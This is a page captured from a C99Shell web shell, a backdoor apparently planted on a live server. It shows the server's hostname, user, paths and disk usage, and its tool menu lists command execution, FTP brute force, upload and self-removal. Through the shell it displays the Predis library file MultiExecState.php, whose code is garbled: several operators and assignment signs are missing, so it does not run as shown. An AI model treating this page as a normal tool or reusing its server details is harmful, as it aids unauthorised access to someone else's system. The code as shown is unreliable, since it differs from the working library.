!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/predis/predis/src/Transaction/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MultiExecState.php (2.97 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Predis package.
 *
 * (c) 2009-2020 Daniele Alessandri
 * (c) 2021-2025 Till Krüss
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Predis\Transaction;

/**
 * Utility class used to track the state of a MULTI / EXEC transaction.
 */
class MultiExecState
{
    public const 
INITIALIZED 1;    // 0b00001
    
public const INSIDEBLOCK 2;    // 0b00010
    
public const DISCARDED 4;    // 0b00100
    
public const CAS 8;    // 0b01000
    
public const WATCH 16;   // 0b10000

    
private $flags;

    public function 
__construct()
    {
        
$this->flags 0;
    }

    
/**
     * Sets the internal state flags.
     *
     * @param int $flags Set of flags
     */
    
public function set($flags)
    {
        
$this->flags $flags;
    }

    
/**
     * Gets the internal state flags.
     *
     * @return int
     */
    
public function get()
    {
        return 
$this->flags;
    }

    
/**
     * Sets one or more flags.
     *
     * @param int $flags Set of flags
     */
    
public function flag($flags)
    {
        
$this->flags |= $flags;
    }

    
/**
     * Resets one or more flags.
     *
     * @param int $flags Set of flags
     */
    
public function unflag($flags)
    {
        
$this->flags &= ~$flags;
    }

    
/**
     * Returns if the specified flag or set of flags is set.
     *
     * @param int $flags Flag
     *
     * @return bool
     */
    
public function check($flags)
    {
        return (
$this->flags $flags) === $flags;
    }

    
/**
     * Resets the state of a transaction.
     */
    
public function reset()
    {
        
$this->flags 0;
    }

    
/**
     * Returns the state of the RESET flag.
     *
     * @return bool
     */
    
public function isReset()
    {
        return 
$this->flags === 0;
    }

    
/**
     * Returns the state of the INITIALIZED flag.
     *
     * @return bool
     */
    
public function isInitialized()
    {
        return 
$this->check(self::INITIALIZED);
    }

    
/**
     * Returns the state of the INSIDEBLOCK flag.
     *
     * @return bool
     */
    
public function isExecuting()
    {
        return 
$this->check(self::INSIDEBLOCK);
    }

    
/**
     * Returns the state of the CAS flag.
     *
     * @return bool
     */
    
public function isCAS()
    {
        return 
$this->check(self::CAS);
    }

    
/**
     * Returns if WATCH is allowed in the current state.
     *
     * @return bool
     */
    
public function isWatchAllowed()
    {
        return 
$this->check(self::INITIALIZED) && !$this->check(self::CAS);
    }

    
/**
     * Returns the state of the WATCH flag.
     *
     * @return bool
     */
    
public function isWatching()
    {
        return 
$this->check(self::WATCH);
    }

    
/**
     * Returns the state of the DISCARDED flag.
     *
     * @return bool
     */
    
public function isDiscarded()
    {
        return 
$this->check(self::DISCARDED);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--